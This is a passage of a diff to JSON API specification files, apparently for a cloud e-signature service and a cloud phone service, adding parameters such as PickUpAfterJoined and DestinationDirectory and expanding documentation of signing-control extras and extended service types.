color=\"red\">ComponentType为SIGN_VIRTUAL_COMBINATION时</font>，支持以下参数：\n<ul>\n<li><b>Children:</b> 绝对定位模式下，用来指定此签批控件的组合子控件 </li>\n<b>参数样例</b>：<br>`{\"Children\":[\"ComponentId_29\",\"ComponentId_27\",\"ComponentId_28\",\"ComponentId_30\"]}`\n<li><b>ChildrenComponents:</b> 关键字定位模式下，用来指定此签批控件的组合子控件 </li>\nChildrenComponent结构体定义:\n<table border=\"1\"> <thead> <tr> <th>字段名称</th> <th>类型</th> <th>描述</th> </tr> </thead> <tbody> <tr> <td>ComponentType</td> <td>string</td> <td>子控件类型-可选值:SIGN_SIGNATURE,SIGN_DATE,SIGN_SELECTOR,SIGN_MULTI_LINE_TEXT</td> </tr> <tr> <td>ComponentName</td> <td>string</td> <td>子控件名称</td> </tr> <tr> <td>Placeholder</td> <td>string</td> <td>子控件提示语</td> </tr> <tr> <td>ComponentOffsetX</td> <td>float</td> <td>控件偏移位置X（相对于父控件（签批控件的ComponentX））</td> </tr> <tr> <td>ComponentOffsetY</td> <td>float</td> <td>控件偏移位置Y 相对于父控件（签批控件的ComponentY））</td> </tr> <tr> <td>ComponentWidth</td> <td>float</td> <td>控件宽</td> </tr> <tr> <td>ComponentHeight</td> <td>float</td> <td>控件高</td> </tr> <tr> <td>ComponentExtra</td> <td>string</td> <td>控件的附属信息，根据ComponentType设置</td> </tr> </tbody> </table>\n<b>参数样例</b>：\n \n输入:\n<pre>\n{\n ChildrenComponents: [\n {\n ComponentType: SIGN_SIGNATURE,\n ComponentName: 个人签名,\n Placeholder: 请签名,\n ComponentOffsetX: 10,\n ComponentOffsetY: 30,\n ComponentWidth: 119,\n ComponentHeight: 43,\n ComponentExtra: {\\ComponentTypeLimit\\:[\\SYSTEM_ESIGN\\]}\n },\n {\n ComponentType: SIGN_SELECTOR,\n ComponentName: 是否同意此协议,\n Placeholder: ,\n ComponentOffsetX: 50,\n ComponentOffsetY: 130,\n ComponentWidth: 120,\n ComponentHeight: 43,\n ComponentExtra: {\\Values\\:[\\同意\\,\\不同意\\,\\再想想\\],\\FontSize\\:12,\\FontAlign\\:\\Left\\,\\Font\\:\\黑体\\,\\MultiSelect\\:false}\n },\n {\n ComponentType: SIGN_MULTI_LINE_TEXT,\n ComponentName: 批注附言,\n Placeholder: ,\n ComponentOffsetX: 150,\n ComponentOffsetY: 300,\n ComponentWidth: 200,\n ComponentHeight: 86,\n ComponentExtra: \n }\n ]\n}\n</pre>\n</ul>\n\n",
|
|
2124
2124
|
"example": "{\"FontColor\":\"255,0,0\",\"FontSize\":12}",
|
|
2125
2125
|
"member": "string",
|
|
2126
2126
|
"name": "ComponentExtra",
|
|
@@ -7075,6 +7075,15 @@
|
|
|
7075
7075
|
"name": "UrlUseEnv",
|
|
7076
7076
|
"required": false,
|
|
7077
7077
|
"type": "string"
|
|
7078
|
+
},
|
|
7079
|
+
{
|
|
7080
|
+
"disabled": false,
|
|
7081
|
+
"document": "在动态签署人场景预设了“企业名称”时，可通过该参数控制“已认证身份才可领取”，即在加入了预设的企业后才可领取。默认值：false，无须先加入企业。",
|
|
7082
|
+
"example": "false",
|
|
7083
|
+
"member": "bool",
|
|
7084
|
+
"name": "PickUpAfterJoined",
|
|
7085
|
+
"required": false,
|
|
7086
|
+
"type": "bool"
|
|
7078
7087
|
}
|
|
7079
7088
|
],
|
|
7080
7089
|
"type": "object"
|
|
@@ -8839,7 +8848,7 @@
|
|
|
8839
8848
|
},
|
|
8840
8849
|
{
|
|
8841
8850
|
"disabled": false,
|
|
8842
|
-
"document": "要查询的扩展服务类型。\n默认为空，即查询当前支持的所有扩展服务信息。\n若需查询单个扩展服务的开通情况，请传递相应的值，如下所示：\n<ul><li>OPEN_SERVER_SIGN：企业自动签署</li>\n<li>AUTO_SIGN_CAN_FILL_IN：本企业自动签合同支持签前内容补充</li>\n<li>BATCH_SIGN：批量签署</li>\n<li>OVERSEA_SIGN：企业与港澳台居民签署合同</li>\n<li>AGE_LIMIT_EXPANSION：拓宽签署方年龄限制</li>\n<li>MOBILE_CHECK_APPROVER：个人签署方仅校验手机号</li>\n<li>HIDE_OPERATOR_DISPLAY：隐藏合同经办人姓名</li>\n<li>ORGANIZATION_OCR_FALLBACK：正楷临摹签名失败后更换其他签名类型</li>\n<li>ORGANIZATION_FLOW_NOTIFY_TYPE：短信通知签署方</li>\n<li>HIDE_ONE_KEY_SIGN
|
|
8851
|
+
"document": "要查询的扩展服务类型。\n默认为空，即查询当前支持的所有扩展服务信息。\n若需查询单个扩展服务的开通情况，请传递相应的值，如下所示：\n<ul><li>OPEN_SERVER_SIGN：企业自动签署</li>\n<li>AUTO_SIGN_CAN_FILL_IN：本企业自动签合同支持签前内容补充</li>\n<li>BATCH_SIGN：批量签署</li>\n<li>OVERSEA_SIGN：企业与港澳台居民签署合同</li>\n<li>AGE_LIMIT_EXPANSION：拓宽签署方年龄限制</li>\n<li>MOBILE_CHECK_APPROVER：个人签署方仅校验手机号</li>\n<li>HIDE_OPERATOR_DISPLAY：隐藏合同经办人姓名</li>\n<li>ORGANIZATION_OCR_FALLBACK：正楷临摹签名失败后更换其他签名类型</li>\n<li>ORGANIZATION_FLOW_NOTIFY_TYPE：短信通知签署方</li>\n<li>ORGANIZATION_FLOW_EMAIL_NOTIFY：邮件通知签署方</li>\n<li>FLOW_APPROVAL：合同审批强制开启</li>\n<li>ORGANIZATION_FLOW_PASSWD_NOTIFY：签署密码开通引导</li>\n<li>HIDE_ONE_KEY_SIGN：个人签署方手写签名时需逐个手写</li>\n<li>SIGN_SIGNATURE_DEFAULT_SET_HANDWRITE：个人签署方手动签名</li>\n<li>APP_LOGIN：限制企业员工小程序端登录</li>\n<li>PC_LOGIN：限制企业员工网页端登录</li>\n</ul>",
|
|
8843
8852
|
"example": "OPEN_SERVER_SIGN",
|
|
8844
8853
|
"member": "string",
|
|
8845
8854
|
"name": "ExtendServiceType",
|
|
@@ -13035,7 +13044,7 @@
|
|
|
13035
13044
|
},
|
|
13036
13045
|
{
|
|
13037
13046
|
"disabled": false,
|
|
13038
|
-
"document": "要管理的拓展服务类型。\n<ul><li>OPEN_SERVER_SIGN：企业自动签署</li>\n<li>AUTO_SIGN_CAN_FILL_IN：本企业自动签合同支持签前内容补充</li>\n<li>OVERSEA_SIGN：企业与港澳台居民签署合同</li>\n<li>AGE_LIMIT_EXPANSION：拓宽签署方年龄限制</li>\n<li>MOBILE_CHECK_APPROVER：个人签署方仅校验手机号</li>\n<li>HIDE_OPERATOR_DISPLAY：隐藏合同经办人姓名</li>\n<li>ORGANIZATION_OCR_FALLBACK：正楷临摹签名失败后更换其他签名类型</li>\n<li>ORGANIZATION_FLOW_NOTIFY_TYPE：短信通知签署方</li>\n<li>HIDE_ONE_KEY_SIGN
|
|
13047
|
+
"document": "要管理的拓展服务类型。\n<ul><li>OPEN_SERVER_SIGN：企业自动签署</li>\n<li>AUTO_SIGN_CAN_FILL_IN：本企业自动签合同支持签前内容补充</li>\n<li>OVERSEA_SIGN：企业与港澳台居民签署合同</li>\n<li>AGE_LIMIT_EXPANSION：拓宽签署方年龄限制</li>\n<li>MOBILE_CHECK_APPROVER：个人签署方仅校验手机号</li>\n<li>HIDE_OPERATOR_DISPLAY：隐藏合同经办人姓名</li>\n<li>ORGANIZATION_OCR_FALLBACK：正楷临摹签名失败后更换其他签名类型</li>\n<li>ORGANIZATION_FLOW_NOTIFY_TYPE：短信通知签署方</li>\n<li>HIDE_ONE_KEY_SIGN：个人签署方手写签名时需逐个手写</li>\n<li>SIGN_SIGNATURE_DEFAULT_SET_HANDWRITE：个人签署方手动签名</li>\n<li>ORGANIZATION_FLOW_EMAIL_NOTIFY：邮件通知签署方</li>\n<li>FLOW_APPROVAL：合同审批强制开启</li>\n<li>ORGANIZATION_FLOW_PASSWD_NOTIFY：签署密码开通引导</li>\n<li>APP_LOGIN：限制企业员工小程序端登录</li>\n<li>PC_LOGIN：限制企业员工网页端登录</li>\n</ul>",
|
|
13039
13048
|
"example": "MOBILE_CHECK_APPROVER",
|
|
13040
13049
|
"member": "string",
|
|
13041
13050
|
"name": "ServiceType",
|
|
@@ -6139,7 +6139,7 @@
|
|
|
6139
6139
|
},
|
|
6140
6140
|
{
|
|
6141
6141
|
"disabled": false,
|
|
6142
|
-
"document": "**在所有的定位方式下**，控件的扩展参数，为<font color=\"red\">JSON格式</font>，不同类型的控件会有部分非通用参数。\n\n<font color=\"red\">ComponentType为TEXT、MULTI_LINE_TEXT时</font>，支持以下参数：\n<ul><li> <b>Font</b>：目前只支持黑体、宋体、仿宋</li>\n<li> <b>FontSize</b>： 范围
|
|
6142
|
+
"document": "**在所有的定位方式下**，控件的扩展参数，为<font color=\"red\">JSON格式</font>，不同类型的控件会有部分非通用参数。\n\n<font color=\"red\">ComponentType为TEXT、MULTI_LINE_TEXT时</font>，支持以下参数：\n<ul><li> <b>Font</b>：目前只支持黑体、宋体、仿宋</li>\n<li> <b>FontSize</b>： 范围6 :72</li>\n<li> <b>FontAlign</b>： Left/Right/Center，左对齐/居中/右对齐</li>\n<li> <b>FontColor</b>：字符串类型，格式为RGB颜色数字</li></ul>\n<b>参数样例</b>：`{\"FontColor\":\"255,0,0\",\"FontSize\":12}`\n\n<font color=\"red\">ComponentType为DATE时</font>，支持以下参数：\n<ul><li> <b>Font</b>：目前只支持黑体、宋体、仿宋</li>\n<li> <b>FontSize</b>： 范围6 :72</li></ul>\n<b>参数样例</b>：`{\"FontColor\":\"255,0,0\",\"FontSize\":12}`\n\n<font color=\"red\">ComponentType为FILL_IMAGE时</font>，支持以下参数：\n<ul><li> <b>NotMakeImageCenter</b>：bool。是否设置图片居中。false：居中（默认）。 true : 不居中</li>\n<li> <b>FillMethod</b> : int. 填充方式。0-铺满（默认）；1-等比例缩放</li></ul>\n\n<font color=\"red\">ComponentType为SIGN_SIGNATURE类型时</font>，可以**ComponentTypeLimit**参数控制签署方式\n<ul><li> <b>HANDWRITE</b> : 需要实时手写的手写签名</li>\n<li> <b>HANDWRITTEN_ESIGN</b> : 长效手写签名， 是使用保存到个人中心的印章列表的手写签名(并且包含HANDWRITE)</li>\n<li> <b>OCR_ESIGN</b> : AI智能识别手写签名</li>\n<li> <b>ESIGN</b> : 个人印章类型</li>\n<li> <b>SYSTEM_ESIGN</b> : 系统签名（该类型可以在用户签署时根据用户姓名一键生成一个签名来进行签署）</li>\n<li> <b>IMG_ESIGN</b> : 图片印章(该类型支持用户在签署将上传的PNG格式的图片作为签名)</li></ul>\n<b>参考样例</b>：`{\"ComponentTypeLimit\": [\"SYSTEM_ESIGN\"]}`\n印章的对应关系参考下图\n<br><br>\n<font color=\"red\">ComponentType为SIGN_SEAL 或者 SIGN_PAGING_SEAL类型时</font>，可以通过**ComponentTypeLimit**参数控制签署方签署时要使用的印章类型，支持指定以下印章类型\n<ul><li> <b>OFFICIAL</b> : 企业公章</li>\n<li> <b>CONTRACT</b> : 合同专用章</li>\n<li> <b>FINANCE</b> : 财务专用章</li>\n<li> <b>PERSONNEL</b> : 人事专用章</li>\n<li> <b>OTHER</b> : 其他</li>\n</ul>\n<b>参考样例</b>：`{\\\"ComponentTypeLimit\\\":[\\\"PERSONNEL\\\",\\\"FINANCE\\\"]}` 表示改印章签署区,客户需使用人事专用章或财务专用章盖章签署。<br><br>\n\n<font color=\"red\">ComponentType为SIGN_DATE时</font>，支持以下参数：\n<ul><li> <b>Font</b> :字符串类型目前只支持\"黑体\"、\"宋体\"、仿宋，如果不填默认为\"黑体\"</li>\n<li> <b>FontSize</b> : 数字类型，范围6-72，默认值为12</li>\n<li> <b>FontAlign</b> : 字符串类型，可取Left/Right/Center，对应左对齐/居中/右对齐</li>\n<li> <b>Format</b> : 字符串类型，日期格式，必须是以下五种之一 “yyyy m d”，”yyyy年m月d日”，”yyyy/m/d”，”yyyy-m-d”，”yyyy.m.d”。</li>\n<li> <b>Gaps</b> : 字符串类型，仅在Format为“yyyy m d”时起作用，格式为用逗号分开的两个整数，例如”2,2”，两个数字分别是日期格式的前后两个空隙中的空格个数</li></ul>\n如果extra参数为空，默认为”yyyy年m月d日”格式的居中日期\n特别地，如果extra中Format字段为空或无法被识别，则extra参数会被当作默认值处理（Font，FontSize，Gaps和FontAlign都不会起效）\n<b>参数样例</b>： ` \"{\"Format\":\"yyyy m d\",\"FontSize\":12,\"Gaps\":\"2,2\", \"FontAlign\":\"Right\"}\"`\n\n<font color=\"red\">ComponentType为SIGN_SEAL、SIGN_SIGNATURE类型时</font>，支持以下参数：\n<ul><li> <b>PageRanges</b> :PageRange的数组，通过PageRanges属性设置该印章在PDF所有页面上盖章（适用于标书在所有页面盖章的情况）</li></ul>\n<b>参数样例</b>：` \"{\"PageRanges\":[{\"BeginPage\":1,\"EndPage\":-1}]}\"`\n\n<font color=\"red\">签署印章旋转功能，当ComponentType为SIGN_SIGNATURE、SIGN_DATE、SIGN_SEAL时</font>，可以通过以下参数设置签署图片的旋转角度：\n<ul><li> <b>Rotate</b>：旋转角度，支持范围：-360：360，为正整数时，为顺时针旋转；为负整数时，为逆时针旋转。</li>\n<li> <b>RotateRelation</b>：旋转关联控件，用于指定关联旋转的控件。例如：让印章控件和签署日期控件按照印章控件为中心旋转（此时，设置印章控件的RotateRelation为日期控件的ComponentId，设置日期签署控件的RotateRelation为印章控件的ComponentId）。</li></ul>\n<b>参数样例</b>：`{\"Rotate\":-30,\"RotateRelation\":\"Component_Id1\"}`\n\n<font color=\"red\">签署印章透明度功能设置，</font>当ComponentType为SIGN_SIGNATURE、SIGN_SEAL、SIGN_PAGING_SEAL、SIGN_LEGAL_PERSON_SEAL时，可以通过以下参数设置签署印章的透明度：\n<ul><li> <b>Opacity</b>：印章透明度，支持范围：0-1，0.7表示70%的透明度，1表示无透明度</li></ul>\n<b>参数样例</b>：`{\"Opacity\":0.7}`\n\n<font color=\"red\">签署印章大小功能设置，</font>当ComponentType为SIGN_SEAL、SIGN_PAGING_SEAL、SIGN_LEGAL_PERSON_SEAL时，可以通过以下参数设置签署时按照实际印章的大小进行签署，如果印章没有设置大小，那么默认会是4.2cm的印章大小：\n<ul><li> <b>UseSealSize</b>：使用印章设置的大小盖章，true表示使用印章设置的大小盖章，false表示使用签署控件的大小进行盖章；不传则为false</li></ul>\n<b>参数样例</b>：`{\"UseSealSize\":true}`\n\n<font color=\"red\">关键字模式下支持关键字找不到的情况下不进行报错的设置</font>\n<ul><li> <b>IgnoreKeywordError</b> :1-关键字查找不到时不进行报错</li></ul>\n场景说明：如果使用关键字进行定位，但是指定的PDF文件中又没有设置的关键字时，发起合同会进行关键字是否存在的校验，如果关键字不存在，会进行报错返回。如果不希望进行报错，可以设置\"IgnoreKeywordError\"来忽略错误。请注意，如果关键字签署控件对应的签署方在整个PDF文件中一个签署控件都没有，还是会触发报错逻辑。\n<b>参数样例</b>：` \"{\"IgnoreKeywordError\":1}\"`\n\n\n<font color=\"red\">ComponentType为SIGN_VIRTUAL_COMBINATION时</font>，支持以下参数：\n<ul>\n<li><b>Children:</b> 绝对定位模式下，用来指定此签批控件的组合子控件 </li>\n<b>参数样例</b>：<br>`{\"Children\":[\"ComponentId_29\",\"ComponentId_27\",\"ComponentId_28\",\"ComponentId_30\"]}`\n<li><b>ChildrenComponents:</b> 关键字定位模式下，用来指定此签批控件的组合子控件 </li>\nChildrenComponent结构体定义:\n<table border=\"1\"> <thead> <tr> <th>字段名称</th> <th>类型</th> <th>描述</th> </tr> </thead> <tbody> <tr> <td>ComponentType</td> <td>string</td> <td>子控件类型-可选值:SIGN_SIGNATURE,SIGN_DATE,SIGN_SELECTOR,SIGN_MULTI_LINE_TEXT</td> </tr> <tr> <td>ComponentName</td> <td>string</td> <td>子控件名称</td> </tr> <tr> <td>Placeholder</td> <td>string</td> <td>子控件提示语</td> </tr> <tr> <td>ComponentOffsetX</td> <td>float</td> <td>控件偏移位置X（相对于父控件（签批控件的ComponentX））</td> </tr> <tr> <td>ComponentOffsetY</td> <td>float</td> <td>控件偏移位置Y 相对于父控件（签批控件的ComponentY））</td> </tr> <tr> <td>ComponentWidth</td> <td>float</td> <td>控件宽</td> </tr> <tr> <td>ComponentHeight</td> <td>float</td> <td>控件高</td> </tr> <tr> <td>ComponentExtra</td> <td>string</td> <td>控件的附属信息，根据ComponentType设置</td> </tr> </tbody> </table>\n<b>参数样例</b>：\n\n<pre>\n{\n \"ChildrenComponents\": [\n {\n \"ComponentType\": \"SIGN_SIGNATURE\",\n \"ComponentName\": \"个人签名\",\n \"Placeholder\": \"请签名\",\n \"ComponentOffsetX\": 10,\n \"ComponentOffsetY\": 30,\n \"ComponentWidth\": 119,\n \"ComponentHeight\": 43,\n \"ComponentExtra\": \"{\\\"ComponentTypeLimit\\\":[\\\"SYSTEM_ESIGN\\\"]}\"\n },\n {\n \"ComponentType\": \"SIGN_SELECTOR\",\n \"ComponentName\": \"是否同意此协议\",\n \"Placeholder\": \"\",\n \"ComponentOffsetX\": 50,\n \"ComponentOffsetY\": 130,\n \"ComponentWidth\": 120,\n \"ComponentHeight\": 43,\n \"ComponentExtra\": \"{\\\"Values\\\":[\\\"同意\\\",\\\"不同意\\\",\\\"再想想\\\"],\\\"FontSize\\\":12,\\\"FontAlign\\\":\\\"Left\\\",\\\"Font\\\":\\\"黑体\\\",\\\"MultiSelect\\\":false}\"\n },\n {\n \"ComponentType\": \"SIGN_MULTI_LINE_TEXT\",\n \"ComponentName\": \"批注附言\",\n \"Placeholder\": \"\",\n \"ComponentOffsetX\": 150,\n \"ComponentOffsetY\": 300,\n \"ComponentWidth\": 200,\n \"ComponentHeight\": 86,\n \"ComponentExtra\": \"\"\n }\n ]\n}</pre>\n</ul>\n\n\n\n",
|
|
6143
6143
|
"example": "ComponentExtra",
|
|
6144
6144
|
"member": "string",
|
|
6145
6145
|
"name": "ComponentExtra",
|
|
@@ -3077,6 +3077,15 @@
|
|
|
3077
3077
|
"name": "FileURL",
|
|
3078
3078
|
"required": true,
|
|
3079
3079
|
"type": "string"
|
|
3080
|
+
},
|
|
3081
|
+
{
|
|
3082
|
+
"disabled": false,
|
|
3083
|
+
"document": "上传目标目录，只能上传到 /sdcard/ 目录或其子目录下",
|
|
3084
|
+
"example": "/sdcard/Download/",
|
|
3085
|
+
"member": "string",
|
|
3086
|
+
"name": "DestinationDirectory",
|
|
3087
|
+
"required": false,
|
|
3088
|
+
"type": "string"
|
|
3080
3089
|
}
|
|
3081
3090
|
],
|
|
3082
3091
|
"type": "object"
|